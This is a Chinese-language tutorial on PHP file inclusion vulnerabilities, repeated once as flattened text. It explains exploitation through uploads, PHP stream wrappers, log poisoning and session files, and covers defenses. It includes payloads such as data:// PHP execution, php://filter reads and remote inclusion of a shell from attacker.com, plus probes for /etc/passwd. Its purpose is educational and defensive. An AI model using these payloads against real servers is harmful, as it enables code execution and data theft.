文件包含漏洞
字数 1916 2025-08-12 11:34:19

文件包含漏洞详解与防御指南

一、文件包含漏洞概述

文件包含漏洞是指服务器在执行PHP文件时,通过文件包含函数加载另一个文件中的PHP代码时,由于未加限制或限制不到位,导致攻击者可以包含恶意文件执行任意代码的安全漏洞。

二、文件包含函数

PHP中主要的文件包含函数有:

  • require() - 包含并执行指定文件,出错时产生致命错误
  • require_once() - 同require(),但会检查是否已包含过
  • include() - 包含并执行指定文件,出错时产生警告
  • include_once() - 同include(),但会检查是否已包含过

三、漏洞利用方式

1. 配合文件上传Getshell

利用条件

  • 存在文件上传功能
  • 上传文件内容可控
  • 知道上传文件的存储路径

利用方法

  1. 上传包含恶意代码的非PHP文件(如.txt、.png、.jpg等)
  2. 通过文件包含漏洞包含上传的恶意文件
  3. 恶意代码被执行

案例

  • 网站限制上传类型为jpg/png/gif
  • 上传包含<?php phpinfo();?>的图片文件
  • 通过文件包含漏洞包含该图片文件
  • PHP代码被执行

2. 利用PHP伪协议/远程包含

支持的协议

  • file:// - 本地文件系统
  • http:// - 访问HTTP(s) URL
  • ftp:// - 访问FTP(s) URL
  • php:// - 访问输入/输出流
  • zlib:// - 压缩流
  • data:// - 数据(RFC 2397)
  • glob:// - 查找匹配的文件路径
  • phar:// - PHP归档
  • ssh2:// - Secure Shell 2
  • rar:// - RAR
  • ogg:// - 音频流
  • expect:// - 处理交互式流

关键配置

  • allow_url_fopen:控制是否允许打开远程文件(on/off)
  • allow_url_include:控制是否允许包含远程文件(on/off)

利用方法

  • 使用php://filter/read=convert.base64-encode/resource=读取文件内容
  • 使用data://text/plain,<?php phpinfo();?>直接执行代码
  • 使用http://attacker.com/shell.txt远程包含恶意文件

3. 配合日志文件Getshell

利用条件

  • 知道日志文件的绝对路径
  • 有权限读取日志文件

利用方法

  1. 修改HTTP请求的User-Agent为恶意PHP代码
  2. 服务器记录包含恶意代码的访问日志
  3. 通过文件包含漏洞包含日志文件
  4. 日志中的PHP代码被执行

常见日志路径

  • Apache: /var/log/apache2/access.log
  • Nginx: /var/log/nginx/access.log

四、其他利用方式

1. 利用Session文件

  • 向服务器写入包含PHP代码的Session
  • 包含Session文件执行代码

2. 利用临时文件

  • 通过上传大文件产生临时文件
  • 竞争包含临时文件

3. 利用环境文件

  • 包含/proc/self/environ等环境文件

五、漏洞防御措施

1. 代码层面防御

  • 设置白名单:只允许包含特定的、已知安全的文件

    $allowed = ['header.php', 'footer.php'];
    if(in_array($file, $allowed)) {
        include($file);
    }
    
  • 过滤危险字符

    // 过滤目录遍历字符
    $file = str_replace(['../', '..\\'], '', $file);
    
    // 检查文件扩展名
    if(!preg_match('/\.php$/', $file)) {
        die('Invalid file type');
    }
    
  • 固定目录前缀

    $base_dir = '/var/www/includes/';
    include($base_dir . $file);
    

2. 服务器配置防御

  • 设置open_basedir:限制PHP可访问的目录范围

    open_basedir = /var/www/html/
    
  • 关闭危险配置

    allow_url_include = Off
    allow_url_fopen = Off
    
  • 设置disable_functions

    disable_functions = exec,system,passthru,shell_exec
    

3. 其他防御措施

  • 使用chroot限制PHP运行环境
  • 定期更新PHP版本修复已知漏洞
  • 对上传文件进行内容检查而不仅是扩展名检查
  • 设置严格的文件权限

六、漏洞检测方法

  1. 手工测试

    • 尝试包含系统文件:?file=/etc/passwd
    • 尝试目录遍历:?file=../../config.php
    • 尝试伪协议:?file=php://filter/convert.base64-encode/resource=index.php
  2. 自动化工具

    • Burp Suite扫描
    • OWASP ZAP
    • 专用文件包含漏洞扫描脚本
  3. 代码审计

    • 查找includerequire等函数
    • 检查参数是否经过严格过滤

七、总结

文件包含漏洞是一种高危漏洞,可能导致服务器被完全控制。开发人员应:

  1. 永远不要信任用户输入
  2. 对包含的文件名进行严格过滤
  3. 使用白名单而非黑名单
  4. 遵循最小权限原则配置服务器

安全人员在进行渗透测试时,应全面测试各种可能的利用方式,包括本地文件包含、远程文件包含和各种伪协议的利用。

文件包含漏洞详解与防御指南 一、文件包含漏洞概述 文件包含漏洞是指服务器在执行PHP文件时,通过文件包含函数加载另一个文件中的PHP代码时,由于未加限制或限制不到位,导致攻击者可以包含恶意文件执行任意代码的安全漏洞。 二、文件包含函数 PHP中主要的文件包含函数有: require() - 包含并执行指定文件,出错时产生致命错误 require_once() - 同require(),但会检查是否已包含过 include() - 包含并执行指定文件,出错时产生警告 include_once() - 同include(),但会检查是否已包含过 三、漏洞利用方式 1. 配合文件上传Getshell 利用条件 : 存在文件上传功能 上传文件内容可控 知道上传文件的存储路径 利用方法 : 上传包含恶意代码的非PHP文件(如.txt、.png、.jpg等) 通过文件包含漏洞包含上传的恶意文件 恶意代码被执行 案例 : 网站限制上传类型为jpg/png/gif 上传包含 <?php phpinfo();?> 的图片文件 通过文件包含漏洞包含该图片文件 PHP代码被执行 2. 利用PHP伪协议/远程包含 支持的协议 : file:// - 本地文件系统 http:// - 访问HTTP(s) URL ftp:// - 访问FTP(s) URL php:// - 访问输入/输出流 zlib:// - 压缩流 data:// - 数据(RFC 2397) glob:// - 查找匹配的文件路径 phar:// - PHP归档 ssh2:// - Secure Shell 2 rar:// - RAR ogg:// - 音频流 expect:// - 处理交互式流 关键配置 : allow_url_fopen :控制是否允许打开远程文件(on/off) allow_url_include :控制是否允许包含远程文件(on/off) 利用方法 : 使用 php://filter/read=convert.base64-encode/resource= 读取文件内容 使用 data://text/plain,<?php phpinfo();?> 直接执行代码 使用 http://attacker.com/shell.txt 远程包含恶意文件 3. 配合日志文件Getshell 利用条件 : 知道日志文件的绝对路径 有权限读取日志文件 利用方法 : 修改HTTP请求的User-Agent为恶意PHP代码 服务器记录包含恶意代码的访问日志 通过文件包含漏洞包含日志文件 日志中的PHP代码被执行 常见日志路径 : Apache: /var/log/apache2/access.log Nginx: /var/log/nginx/access.log 四、其他利用方式 1. 利用Session文件 向服务器写入包含PHP代码的Session 包含Session文件执行代码 2. 利用临时文件 通过上传大文件产生临时文件 竞争包含临时文件 3. 利用环境文件 包含 /proc/self/environ 等环境文件 五、漏洞防御措施 1. 代码层面防御 设置白名单 :只允许包含特定的、已知安全的文件 过滤危险字符 : 固定目录前缀 : 2. 服务器配置防御 设置 open_basedir :限制PHP可访问的目录范围 关闭危险配置 : 设置 disable_functions : 3. 其他防御措施 使用chroot限制PHP运行环境 定期更新PHP版本修复已知漏洞 对上传文件进行内容检查而不仅是扩展名检查 设置严格的文件权限 六、漏洞检测方法 手工测试 : 尝试包含系统文件: ?file=/etc/passwd 尝试目录遍历: ?file=../../config.php 尝试伪协议: ?file=php://filter/convert.base64-encode/resource=index.php 自动化工具 : Burp Suite扫描 OWASP ZAP 专用文件包含漏洞扫描脚本 代码审计 : 查找 include 、 require 等函数 检查参数是否经过严格过滤 七、总结 文件包含漏洞是一种高危漏洞,可能导致服务器被完全控制。开发人员应: 永远不要信任用户输入 对包含的文件名进行严格过滤 使用白名单而非黑名单 遵循最小权限原则配置服务器 安全人员在进行渗透测试时,应全面测试各种可能的利用方式,包括本地文件包含、远程文件包含和各种伪协议的利用。